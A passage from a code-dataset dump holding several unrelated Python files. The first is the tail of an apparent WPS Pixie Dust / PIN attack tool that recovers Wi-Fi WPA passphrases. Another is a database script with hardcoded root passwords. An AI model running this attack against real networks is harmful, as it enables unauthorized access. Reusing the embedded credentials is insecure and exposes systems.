'WPS-FAIL')\n elif 'NL80211_CMD_DEL_STATION' in line:\n print(\"[!] Unexpected interference — kill NetworkManager/wpa_supplicant!\")\n elif 'Trying to authenticate with' in line:\n if 'SSID' in line: options.essid = codecs.decode(line.split(\"'\")[1], 'unicode-escape').encode('latin1').decode('utf-8')\n print('[*] Authenticating...')\n elif 'Authentication response' in line:\n print('[+] Authenticated')\n elif 'Trying to associate with' in line:\n if 'SSID' in line: options.essid = codecs.decode(line.split(\"'\")[1], 'unicode-escape').encode('latin1').decode('utf-8')\n print('[*] Associating with AP...')\n elif 'Associated with' in line and options.interface in line:\n if options.essid:\n print('[+] Associated with {} (ESSID: {})'.format(options.bssid, options.essid))\n else:\n print('[+] Associated with {}'.format(options.bssid))\n elif 'EAPOL: txStart' in line:\n statechange(data, data.state, 'EAPOL Start')\n print('[*] Sending EAPOL Start...')\n elif 'EAP entering state IDENTITY' in line:\n print('[*] Received Identity Request')\n elif 'using real identity' in line:\n print('[*] Sending Identity Response...')\n\n return True\n\n\ndef poll_wpa_supplicant(wpas, options, data):\n while True:\n res = process_wpa_supplicant(wpas, options, data)\n\n if not res:\n break\n if data.state == 'WSC_NACK':\n print('[-] Error: wrong PIN code')\n break\n elif data.state == 'GOT_PSK':\n break\n elif data.state == 'WPS-FAIL':\n print('[-] WPS-FAIL error')\n break\n if data.wpa_psk:\n return True\n if data.got_all():\n return True\n return False\n\n\ndef connect(options, data):\n print('[*] Running wpa_supplicant...')\n ifaceUp(options.interface)\n wpas = run_wpa_supplicant(options)\n\n try:\n while True:\n s = recvuntil(wpas, '\\n')\n if options.verbose: sys.stderr.write(s)\n if 'update_config=1' in s:\n break\n except KeyboardInterrupt:\n print(\"\\nAborting...\")\n cleanup(wpas, options)\n ifaceUp(options.interface, down=True)\n sys.exit(1)\n\n print('[*] Trying PIN \"{}\"...'.format(options.pin))\n wps_reg(options)\n\n try:\n res = poll_wpa_supplicant(wpas, options, data)\n except KeyboardInterrupt:\n print(\"\\nAborting...\")\n cleanup(wpas, options)\n ifaceUp(options.interface, down=True)\n sys.exit(1)\n cleanup(wpas, options)\n ifaceUp(options.interface, down=True)\n return res\n\n\ndef wifi_scan(iface):\n '''Parsing iw scan results'''\n def handle_network(line, result, networks):\n networks.append(\n {\n 'Security type': 'Unknown',\n 'WPS': False,\n 'WPS locked': False,\n 'Model': '',\n 'Model number': '',\n 'Device name': ''\n }\n )\n networks[-1]['BSSID'] = result.group(1).upper()\n\n def handle_essid(line, result, networks):\n d = result.group(1)\n networks[-1]['ESSID'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8')\n\n def handle_level(line, result, networks):\n networks[-1]['Level'] = int(float(result.group(1)))\n\n def handle_securityType(line, result, networks):\n sec = networks[-1]['Security type']\n if result.group(1) == 'capability':\n if 'Privacy' in result.group(2):\n sec = 'WEP'\n else:\n sec = 'Open'\n elif sec == 'WEP':\n if result.group(1) == 'RSN':\n sec = 'WPA2'\n elif result.group(1) == 'WPA':\n sec = 'WPA'\n elif sec == 'WPA':\n if result.group(1) == 'RSN':\n sec = 'WPA/WPA2'\n elif sec == 'WPA2':\n if result.group(1) == 'WPA':\n sec = 'WPA/WPA2'\n networks[-1]['Security type'] = sec\n\n def handle_wps(line, result, networks):\n networks[-1]['WPS'] = result.group(1)\n\n def handle_wpsLocked(line, result, networks):\n flag = int(result.group(1), 16)\n if flag:\n networks[-1]['WPS locked'] = True\n\n def handle_model(line, result, networks):\n d = result.group(1)\n networks[-1]['Model'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8')\n\n def handle_modelNumber(line, result, networks):\n d = result.group(1)\n networks[-1]['Model number'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8')\n\n def handle_deviceName(line, result, networks):\n d = result.group(1)\n networks[-1]['Device name'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8')\n\n cmd = 'iw dev {} scan'.format(iface)\n proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT, encoding='utf-8')\n lines = proc.stdout.splitlines()\n networks = []\n matchers = {\n re.compile(r'BSS (\\S+)( )?\\(on \\w+\\)'): handle_network,\n re.compile(r'SSID: (.*)'): handle_essid,\n re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level,\n re.compile(r'(capability): (.+)'): handle_securityType,\n re.compile(r'(RSN):\\t [*] Version: (\\d+)'): handle_securityType,\n re.compile(r'(WPA):\\t [*] Version: (\\d+)'): handle_securityType,\n re.compile(r'WPS:\\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps,\n re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked,\n re.compile(r' [*] Model: (.*)'): handle_model,\n re.compile(r' [*] Model Number: (.*)'): handle_modelNumber,\n re.compile(r' [*] Device name: (.*)'): handle_deviceName\n }\n\n for line in lines:\n line = line.strip('\\t')\n for regexp, handler in matchers.items():\n res = re.match(regexp, line)\n if res:\n handler(line, res, networks)\n\n # Filtering non-WPS networks\n networks = list(filter(lambda x: bool(x['WPS']), networks))\n # Sorting by signal level\n networks.sort(key=lambda x: x['Level'], reverse=True)\n return networks\n\n\ndef scanner_pretty_print(networks, vuln_list=[]):\n '''Printing WiFiScan result as table'''\n def truncateStr(s, l):\n '''\n Truncate string with the specified length\n @s — input string\n @l — length of output string\n '''\n if len(s) > l:\n k = l - 3\n s = s[:k] + '...'\n return s\n\n def colored(text, color=None):\n '''Returns colored text'''\n if color:\n if color == 'green':\n text = '\\033[92m{}\\033[00m'.format(text)\n elif color == 'red':\n text = '\\033[91m{}\\033[00m'.format(text)\n else:\n return text\n else:\n return text\n return text\n\n print(colored('Green', color='green'), '— possible vulnerable network',\n '\\n' + colored('Red', color='red'), '— WPS locked',\n '\\nNetworks list:')\n print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(\n '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model'))\n for i in range(0, len(networks)):\n n = i + 1\n number = '{})'.format(n)\n network = networks[i]\n model = '{} {}'.format(network['Model'], network['Model number'])\n essid = truncateStr(network['ESSID'], 25)\n deviceName = truncateStr(network['Device name'], 27)\n line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(\n number, network['BSSID'], essid,\n network['Security type'], network['Level'],\n deviceName, model\n )\n if network['WPS locked']:\n print(colored(line, color='red'))\n elif model in vuln_list:\n print(colored(line, color='green'))\n else:\n print(line)\n\n\ndef suggest_network(options, vuln_list):\n networks = wifi_scan(options.interface)\n if not networks:\n die('No networks found.')\n scanner_pretty_print(networks, vuln_list)\n while 1:\n networkNo = input('Select target: ')\n try:\n if int(networkNo) in range(1, len(networks)+1):\n options.bssid = networks[int(networkNo) - 1]['BSSID']\n else:\n raise IndexError\n except Exception:\n print('Invalid number')\n else:\n break\n\n\ndef parse_pixiewps(output):\n lines = output.splitlines()\n for line in lines:\n if ('[+]' in line) and ('WPS' in line):\n pin = line.split(':')[-1].strip()\n return pin\n return False\n\n\ndef die(msg):\n sys.stderr.write(msg + '\\n')\n sys.exit(1)\n\n\ndef usage():\n die(\"\"\"\nOneShotPin 0.0.2 (c) 2017 rofl0r, moded by drygdryg\n\n{} \n\nRequired Arguments:\n -i, --interface= : Name of the interface to use\n\nOptional Arguments:\n -b, --bssid= : BSSID of the target AP\n -p, --pin= : Use the specified pin (arbitrary string or 4/8 digit pin)\n -K, --pixie-dust : Run Pixie Dust attack\n -F, --force : Run Pixiewps with --force option (bruteforce full range)\n -X : Alway print Pixiewps command\n -v : Verbose output\n\nExample:\n {} -i wlan0 -b 00:90:4C:C1:AC:21 -K\n\"\"\".format(sys.argv[0], sys.argv[0]))\n\n\ndef cleanup(wpas, options):\n wpas.terminate()\n shutil.rmtree(options.tempdir, ignore_errors=True)\n os.remove(options.tempconf)\n\n\nif __name__ == '__main__':\n VULNWSCFILE = 'vulnwsc.txt'\n options = Options()\n\n import getopt\n optlist, args = getopt.getopt(sys.argv[1:], \":e:i:b:p:XFKv\", [\"help\", \"interface\", \"bssid\", \"pin\", \"force\", \"pixie-dust\"])\n for a, b in optlist:\n if a in ('-i', \"--interface\"): options.interface = b\n elif a in ('-b', \"--bssid\"): options.bssid = b.upper()\n elif a in ('-p', \"--pin\"): options.pin = b\n elif a in ('-K', \"--pixie-dust\"): options.pixiemode = True\n elif a in ('-F', \"--force\"): options.full_range = True\n elif a in ('-X'): options.showpixiecmd = True\n elif a in ('-v'): options.verbose = True\n elif a == '--help': usage()\n if os.getuid() != 0:\n die(\"Run it as root\")\n if not options.interface:\n die(\"Please specify interface name (-i) (use --help for usage)\")\n if options.pin is None:\n if options.pixiemode:\n options.pin = '12345670'\n else:\n die(\"You need to supply a pin or enable pixiemode (-K)! (use --help for usage)\")\n if not ifaceUp(options.interface):\n die('Unable to up interface \"{}\"'.format(options.interface))\n if not options.bssid:\n print('BSSID not specified (--bssid) — scanning for available networks...')\n try:\n with open(VULNWSCFILE, 'r') as file:\n vuln_list = file.read().splitlines()\n except FileNotFoundError:\n vuln_list = []\n try:\n suggest_network(options, vuln_list)\n except KeyboardInterrupt:\n ifaceUp(options.interface, down=True)\n die('\\nAborting...')\n\n data = Data()\n connect(options, data)\n\n if data.wpa_psk:\n print(\"[+] WPS PIN: '{}'\".format(options.pin))\n print(\"[+] WPA PSK: '{}'\".format(data.wpa_psk))\n print(\"[+] AP SSID: '{}'\".format(options.essid))\n sys.exit(0)\n\n elif data.got_all() and options.pixiemode:\n pixiecmd = data.get_pixie_cmd(options.full_range)\n print(\"Running Pixiewps...\")\n if options.verbose or options.showpixiecmd: print(\"Cmd: {}\".format(pixiecmd))\n out = shellcmd(pixiecmd)\n print(out)\n a = parse_pixiewps(out)\n if a and a != '':\n options.pin = a\n options.pixiemode = False\n data.clear()\n print('[+] Trying to get WPA PSK with the correct PIN...'.format(options.pin))\n connect(options, data)\n\n if data.wpa_psk:\n print(\"[+] WPS PIN: '{}'\".format(options.pin))\n print(\"[+] WPA PSK: '{}'\".format(data.wpa_psk))\n print(\"[+] AP SSID: '{}'\".format(options.essid))\n sys.exit(0)\n sys.exit(1)\n elif options.pixiemode:\n print('[!] No enough data to run Pixie Dust attack')\n sys.exit(1)\n\n sys.exit(1)\n","sub_path":"oneshot.py","file_name":"oneshot.py","file_ext":"py","file_size_in_byte":18296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"261839647","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2020/10/19 9:48 上午\n# @Author : silianpan\n# @Site : 数据库数据补全-部门\n# @File : db_fill.py\n# @Software: PyCharm\n\n# 1. 查询mysql数据库数据\n# 2. 查询oracle数据库数据\n# 3. 去重\n# 4. 导出到excel\n\nfrom openpyxl import load_workbook\nfrom mysql_util import MysqlUtil\nfrom oracle_util import OracleUtil\n\n\ndef bus_start(table_name):\n # 1. 查询oracle数据库数据\n ou = OracleUtil('192.168.1.200', 1521, 'xe', 'CDCZ_NPC2020MD', 'Asdf123')\n sql = \"select distinct t.chr_name from %s t order by t.chr_name\" % ('ele_enterprise')\n rows = ou.select(sql)\n chr_names = []\n for row in rows:\n if row is not None:\n chr_name = str(row[0]).strip()\n if chr_name not in chr_names:\n chr_names.append(chr_name)\n\n # 2. 查询mysql数据库数据\n mu = MysqlUtil('192.168.1.200', 'bss_pro', 'root', 'Asdf@123')\n sql = \"select distinct t.gov_dept from %s t order by t.gov_dept\" % (table_name)\n rows = mu.select(sql)\n ret_names = []\n for row in rows:\n gov_dept = str(row[0]).strip()\n if (gov_dept not in chr_names) and (gov_dept not in ret_names):\n ret_names.append(gov_dept)\n\n newfile = './ret_names.xlsx'\n wb = load_workbook(newfile)\n ws = wb['Sheet1']\n # 直接根据位置进行赋值\n ws['A1'] = '名称'\n\n i = 2\n for item in ret_names:\n ws.cell(row=i, column=1, value=str(item))\n i = i + 1\n wb.save(newfile)\n\n\ndef read_excel():\n excel_file = r'./ret_names_1.xlsx'\n inwb = load_workbook(excel_file)\n ws = inwb['Sheet1']\n\n # 获取sheet的最大行数和列数\n rows = ws.max_row\n cols = ws.max_column\n all_item = []\n for r in range(2, rows + 1):\n sname = ws.cell(r, 1).value\n tname = ws.cell(r, 2).value\n if sname and tname:\n item = {\n 'sname': str(sname).strip(),\n 'tname': str(tname).strip()\n }\n all_item.append(item)\n return all_item\n\n\ndef update_data(table_name):\n mu = MysqlUtil('192.168.1.200', 'bss_pro', 'root', 'Asdf@123')\n name_map = read_excel()\n for item in name_map:\n sql = \"update %s t set t.gov_dept='%s' where t.gov_dept='%s'\" % (table_name, item['tname'], item['sname'])\n print(sql)\n mu.update_sql(sql)\n\n\ndef start(table_name):\n update_data(table_name)\n bus_start(table_name)\n\n\nif __name__ == '__main__':\n start('analysis_budget_final_social')\n","sub_path":"db_fill/db_fill.py","file_name":"db_fill.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"544926709","text":"\nimport pytest\nfrom apitest.src.utilities.requestsUtility import RequestsUtility\nfrom apitest.src.dao.products_dao import ProductsDAO\nfrom apitest.src.helpers.products_helper import ProductHelper\n\npytestmark = [pytest.mark.products, pytest.mark.smoke]\n\n\n@pytest.mark.tcid24\ndef test_get_all_products():\n\n req_helper = RequestsUtility()\n rs_api = req_helper.get('products')\n\n assert rs_api, \"Response of list all products is empty\"\n\n\n@pytest.mark.tcid25\ndef test_get_product_by_id():\n #get product form db\n rand_product = ProductsDAO().get_random_product_from_db(1)\n rand_product_id = rand_product[0]['ID']\n db_name = rand_product[0]['post_title']\n #make thr call\n product_helper = ProductHelper()\n rs_api = product_helper.get_product_by_id(rand_product_id)\n api_name = rs_api['name']\n assert db_name == api_name, \"Get product by id returned wrong product\"\n\n\n","sub_path":"apitest/tests/products/test_get_products_smoke.py","file_name":"test_get_products_smoke.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"409048186","text":"# -*- coding: utf-8 -*-\n\"\"\"Tests for streamstats utility functions.\"\"\"\n\nimport pytest\nfrom vcr_unittest import VCRTestCase\nfrom streamstats import utils\n\n\nclass StreamStatsUtilTests(VCRTestCase):\n '''\n Using a test class based on VCRTestCase allows automatic capture of\n web responses into \"cassettes\" upon the first run of a given test.\n These cassettes will be \"played back\" on future tests.\n '''\n\n @staticmethod\n def test_find_address():\n \"\"\"Verify that addresses are retrieved.\"\"\"\n address = utils.find_address(lat=40.0076, lon=-105.2659)\n assert address['city'] == 'Boulder'\n assert address['state'] == 'Colorado'\n\n @staticmethod\n def test_find_state():\n \"\"\"Verify that the correct state is returned.\"\"\"\n address = utils.find_address(lat=40.0076, lon=-105.2659)\n state = utils.find_state(address)\n assert state == 'CO'\n\n @staticmethod\n def test_canada_raises_errors():\n \"\"\"Points outside the U.S. should raise errors.\"\"\"\n with pytest.raises(AssertionError):\n utils.find_address(lat=45.5017, lon=-73.5673)\n\n @staticmethod\n def test_find_address_err_mess():\n \"\"\"Error message provides lat & lon in correct order.\"\"\"\n try:\n utils.find_address(lat=40, lon=-200)\n except ValueError as err:\n message = str(err)\n assert (\"lat=40\" in message) and (\"lon=-200\" in message)\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"130676685","text":"from wsgiref import simple_server\n\nimport falcon\n\nfrom falconer.db.utils import get_scoped_session_factory\nfrom falconer.middlewares import SessionMiddleware\nfrom .resources.inventory import ActorResource, FilmResource\n\nSession = get_scoped_session_factory()\n\napi = application = falcon.API(middleware=[SessionMiddleware(Session)])\n\nactor = ActorResource()\napi.add_route('/actors/', actor)\napi.add_route('/actors/{resource_id:int}', actor)\n\nfilm = FilmResource()\napi.add_route('/films/', film)\napi.add_route('/films/{resource_id:int}', film)\n\nstaff = FilmResource()\napi.add_route('/staffs/', staff)\napi.add_route('/staffs/{resource_id:int}', staff)\n\nif __name__ == '__main__':\n httpd = simple_server.make_server('127.0.0.1', 8000, api)\n httpd.serve_forever()\n","sub_path":"falconer/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"584660135","text":"# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport setuptools\nfrom version import __VERSION__\n\ndef _setup():\n setuptools.setup(\n name='torplate',\n version=__VERSION__,\n description='torplate',\n author='',\n author_email='',\n url='',\n install_requires=['tornado', 'futures==3.0.4'],\n packages=['torplate', 'torplate.common', 'torplate.urls',\n 'torplate.api', 'torplate.main', 'torplate.views'],\n package_dir={'': 'src'},\n classifiers=[\n 'Development Status :: 4 - Beta Development Status',\n 'Environment :: Console',\n 'Topic :: Utilities',\n ],\n )\n\ndef main():\n if len(sys.argv) > 1:\n if sys.argv[1] == 'publish':\n os.system('make publish')\n sys.exit()\n elif sys.argv[1] == 'release':\n if len(sys.argv) < 3:\n type_ = 'patch'\n else:\n type_ = sys.argv[2]\n assert type_ in ('major', 'minor', 'patch')\n\n os.system('bumpversion --current-version {} {}'\n .format(__VERSION__, type_))\n sys.exit()\n\n _setup()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"618314221","text":"import turtle\nwn = turtle.Screen()\n\nelan = turtle.Turtle()\n\ndistance = 50\nangle = 90\nfor i in range(16):\n elan.forward(distance)\n elan.right(angle)\n distance = distance + 10\n angle = angle - 3\nwn.exitonclick()\n","sub_path":"forloopwithturtle.py","file_name":"forloopwithturtle.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"513860890","text":"#!/usr/bin/env python\n# Python 3\nimport shlex\nimport subprocess\nimport re\nimport os\nimport time\n\n# Variables\nHOME = os.environ.get(\"HOME\")\nHADOOP_CMD = \"/opt/hadoop/bin/hadoop\"\nPRG_NAME = HOME + \"/Dropbox/GPGPU-on-Hadoop/Jars/NumericalIntegration/NIHadoopNamed.jar\" # TODO to set\nRESOLUTIONS = [\"1000\", \"10000\", \"1000000\", \"1000000\"] # TODO to set\nMODES = [\"cpu\", \"ocl\"] # TODO to set\nRUNS = 3 # TODO to set\nLOG_PATH = \"/tmp/ni_logs\"\nDATA_PATH = HOME + \"/Documents/ni_data\"\nINTERVALS = \"1000\" # TODO to set\nHDFS_INPUT = \"/ni_data/input\"\nHDFS_OUTPUT = \"/ni_data/output\"\n\n# Functions\ndef copyHdfs(data):\n command = HADOOP_CMD + \" fs -mkdir \" + HDFS_INPUT\n args = shlex.split(command)\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n command = HADOOP_CMD + \" fs -put \" + DATA_PATH + \"/\" + \"intervals_\" + data + \" \" + HDFS_INPUT + \"/\"\n args = shlex.split(command)\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n \ndef clearHdfs():\n command = HADOOP_CMD + \" fs -rmr \" + HDFS_INPUT\n args = shlex.split(command)\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n command = HADOOP_CMD + \" fs -rmr \" + HDFS_OUTPUT\n args = shlex.split(command)\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n \ndef clearIntermediateHdfs():\n command = HADOOP_CMD + \" fs -rmr \" + HDFS_OUTPUT\n args = shlex.split(command)\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n\n# Print information\nprint('Home:', HOME)\nprint('Hadoop:', HADOOP_CMD)\nprint('Program:', PRG_NAME)\nprint('Log path:', LOG_PATH)\nprint('HDFS input:', HDFS_INPUT)\nprint('HDFS output:', HDFS_OUTPUT)\nprint()\n\n# Create log path\ncommand = \"mkdir \" + LOG_PATH\nargs = shlex.split(command)\np = subprocess.Popen(args, stdout=subprocess.PIPE)\np.wait()\n\n# Run tests\nprint('Start runs ...')\n\nfor res in RESOLUTIONS:\n print(' res size: ', res)\n # prepare HDFS\n print(\" Clear HDFS ...\")\n clearHdfs()\n print(\" Clear HDFS finished!\")\n print(\" Copy data to HDFS ...\")\n copyHdfs(INTERVALS)\n print(\" Copy data HDFS finished!\")\n print(\" Waiting 3 seconds for duplication!\")\n time.sleep(3)\n \n for mode in MODES:\n print(' mode: ', mode)\n # prepare command to start\n jobName = \"NumIntegration_\" + res + \"r_\" + INTERVALS + \"ic_\" + mode\n command = HADOOP_CMD + \" jar \" + PRG_NAME + \" \" + jobName + \" \" + HDFS_INPUT + \" \" + HDFS_OUTPUT + \" \" + \"xsinx\" + \" \" + \"0\" + \" \" + res + \" \" + mode # TODO to set\n print(' command: ', command)\n args = shlex.split(command)\n # TODO start job\n file = open(LOG_PATH + \"/\" + jobName, 'w+b')\n \n for run in range(0, RUNS):\n print(\" Starting run #\", run)\n # clear intermediate data\n print(\" Clear intermediate HDFS data ...\")\n clearIntermediateHdfs()\n print(\" Clear intermediate HDFS data finished!\")\n # run\n p = subprocess.Popen(args, stdout=subprocess.PIPE)\n p.wait()\n \n file.write(p.stdout.read())\n print(\" Finished run #\", run)\n \n file.close()\n print()\n \n print()\n \nprint()\n \nprint('finished runs!') \n","sub_path":"numerical_integration/runTime/runtime_ints_constant.py","file_name":"runtime_ints_constant.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"89338891","text":"# Copyright 2018 Iguazio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom os import path\nfrom tempfile import mktemp\n\nimport yaml\n\nfrom ..datastore import StoreManager\nfrom .base import Artifact\nfrom ..utils import DB_SCHEMA\n\nmodel_spec_filename = 'model_spec.yaml'\n\n\nclass ModelArtifact(Artifact):\n _dict_fields = Artifact._dict_fields + ['model_file', 'metrics', 'parameters',\n 'inputs', 'outputs', 'extra_data']\n kind = 'model'\n\n def __init__(self, key=None, body=None, format=None, model_file=None,\n metrics=None, target_path=None, parameters=None,\n inputs=None, outputs=None, extra_data=None):\n\n super().__init__(key, body, format=format, target_path=target_path)\n self.model_file = model_file\n self.parameters = parameters or {}\n self.metrics = metrics or {}\n self.inputs = inputs or []\n self.outputs = outputs or []\n self.extra_data = extra_data or {}\n\n @property\n def is_dir(self):\n return True\n\n def before_log(self):\n if not self.model_file:\n raise ValueError('model_file attr must be specified')\n\n for key, item in self.extra_data.items():\n if hasattr(item, 'target_path'):\n self.extra_data[key] = item.target_path\n\n def upload(self, data_stores):\n\n def get_src_path(filename):\n if self.src_path:\n return path.join(self.src_path, filename)\n return filename\n\n target_model_path = path.join(self.target_path, self.model_file)\n body = self.get_body()\n if body:\n self._upload_body(body, data_stores, target=target_model_path)\n else:\n src_model_path = get_src_path(self.model_file)\n if not path.isfile(src_model_path):\n raise ValueError('model file {} not found'.format(src_model_path))\n self._upload_file(src_model_path, data_stores, target=target_model_path)\n\n spec_path = path.join(self.target_path, model_spec_filename)\n data_stores.object(url=spec_path).put(self.to_yaml())\n\n for key, item in self.extra_data.items():\n\n if isinstance(item, bytes):\n target = path.join(self.target_path, key)\n data_stores.object(url=target).put(item)\n self.extra_data[key] = target\n\n elif not (item.startswith('/') or '://' in item):\n src_path = get_src_path(item)\n if not path.isfile(src_path):\n raise ValueError('extra data file {} not found'.format(src_path))\n target = path.join(self.target_path, item)\n data_stores.object(url=target).upload(src_path)\n\n\ndef get_model(model_dir, suffix='', stores: StoreManager = None):\n \"\"\"return model file, model spec object, and list of extra data items\"\"\"\n model_file = ''\n model_spec = None\n extra_dataitems = {}\n suffix = suffix or '.pkl'\n stores = stores or StoreManager()\n\n if model_dir.startswith(DB_SCHEMA + '://'):\n model_spec, target = stores.get_store_artifact(model_dir)\n if not model_spec or model_spec.kind != 'model':\n raise ValueError('store artifact ({}) is not model kind'.format(model_dir))\n model_file = _get_file_path(target, model_spec.model_file)\n extra_dataitems = _get_extra(stores, target, model_spec.extra_data)\n\n elif model_dir.lower().endswith('.yaml'):\n model_spec = _load_model_spec(model_dir, stores)\n model_file = _get_file_path(model_dir, model_spec.model_file)\n extra_dataitems = _get_extra(stores, model_dir, model_spec.extra_data)\n\n elif model_dir.endswith(suffix):\n model_file = model_dir\n else:\n dirobj = stores.object(url=model_dir)\n model_dir_list = dirobj.listdir()\n if model_spec_filename in model_dir_list:\n model_spec = _load_model_spec(path.join(model_dir, model_spec_filename), stores)\n model_file = _get_file_path(model_dir, model_spec.model_file, isdir=True)\n extra_dataitems = _get_extra(stores, model_dir, model_spec.extra_data, is_dir=True)\n else:\n extra_dataitems = _get_extra(stores, model_dir,\n {v: v for v in model_dir_list}, is_dir=True)\n for file in model_dir_list:\n if file.endswith(suffix):\n model_file = path.join(model_dir, file)\n break\n if not model_file:\n raise ValueError('cant resolve model file for {} suffix{}'.format(\n model_dir, suffix))\n\n obj = stores.object(url=model_file)\n if obj.kind == 'file':\n return model_file, model_spec, extra_dataitems\n\n tmp = mktemp(suffix)\n obj.download(tmp)\n return tmp, model_spec, extra_dataitems\n\n\ndef _load_model_spec(specpath, stores: StoreManager):\n data = stores.object(url=specpath).get()\n spec = yaml.load(data, Loader=yaml.FullLoader)\n return ModelArtifact.from_dict(spec)\n\n\ndef _get_file_path(base_path: str, name: str, isdir=False):\n if name.startswith('/') or '://' in name:\n return name\n if not isdir:\n base_path = path.dirname(base_path)\n return path.join(base_path, name)\n\n\ndef _get_extra(stores, target, extra_data, is_dir=False):\n extra_dataitems = {}\n for k, v in extra_data.items():\n extra_dataitems[k] = stores.object(url=_get_file_path(target, v, isdir=is_dir), key=k)\n return extra_dataitems\n","sub_path":"mlrun/artifacts/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"470572799","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'file'\nurlpatterns = [\n url(r'^dir', views.file, name='dir'),\n url(r'^mk', views.mk, name='mk'),\n url(r'^rm$', views.rm, name='rm'),\n url(r'^rename$', views.rename, name='rename'),\n url(r'^save$', views.save, name='save'),\n url(r'^get$', views.get, name='get'),\n url(r'^run$', views.run, name='run'),\n url(r'^cmd$', views.cmd, name='cmd'),\n url(r'^scp$', views.scp, name='scp'),\n url(r'^upload$', views.upload, name='upload'),\n url(r'^download$', views.download, name='download'),\n url(r'^test$', views.form),\n url(r'^preview/(?P.+)$', views.preview, name='preview'),\n url(r'^deploy$', views.deploy, name='deploy')\n]","sub_path":"file/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"412396871","text":"import collections\n\nfrom . import effects\n\n\nAppliedEffect = collections.namedtuple('AppliedEffect', [\n 'turn_number', 'effect', 'cause'])\n\n\nclass Player(object):\n \"\"\"A player, comprising of a faction, actions, and a number of votes.\"\"\"\n\n def __init__(self, effects, night_actions, day_actions):\n self.applied_effects = [AppliedEffect(0, effect, None)\n for effect in effects]\n self.night_actions = night_actions\n self.day_actions = day_actions\n\n def get_faction(self, querent):\n applied = None\n for applied in self.find_applied_effects(effects.Recruited, querent):\n applied.effect.condition.use(querent)\n if applied is None:\n raise ValueError('no faction ever provided')\n return applied.effect.faction\n\n def find_applied_effects(self, effect_type, querent):\n return (applied for applied in self.get_applied_effects(querent)\n if isinstance(applied.effect, effect_type))\n\n def get_applied_effects(self, querent):\n applied_effects = []\n vanillaized = False\n\n for applied in self.applied_effects:\n if applied.effect.condition.check(self, querent):\n if isinstance(applied.effect, effects.Vanillaized):\n vanillaized = True\n applied_effects.append(applied)\n\n if vanillaized:\n applied_effects[:] = [\n applied for applied in applied_effects\n if applied.turn_number > 0 or applied.effect.VANILLA]\n\n return applied_effects\n\n def get_death(self, querent):\n applied = None\n for applied in self.find_applied_effects(effects.Death, querent):\n applied.effect.condition.use(querent)\n return applied\n\n def get_number_of_votes(self):\n votes = 1\n for applied in self.find_applied_effects(effects.ChangedVote, self):\n votes = applied.effect.votes\n applied.effect.condition.use(self)\n return votes\n\n def get_night_actions(self):\n power_actions = list(self.night_actions)\n for applied in self.find_applied_effects(effects.Vanillaized, self):\n power_actions.clear()\n break\n return self.get_faction(self).night_actions + power_actions\n\n def get_day_actions(self):\n power_actions = list(self.day_actions)\n for applied in self.find_applied_effects(effects.Vanillaized, self):\n power_actions.clear()\n break\n return self.get_faction(self).day_actions + power_actions\n\n def apply_effect(self, turn_number, effect, cause):\n self.applied_effects.append(AppliedEffect(turn_number, effect, cause))\n\n def is_vanilla(self, querent):\n for applied in self.get_applied_effects(querent):\n if applied.turn_number == 0 and not applied.effect.VANILLA:\n return False\n return True\n","sub_path":"cosanostra/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"252142449","text":"import 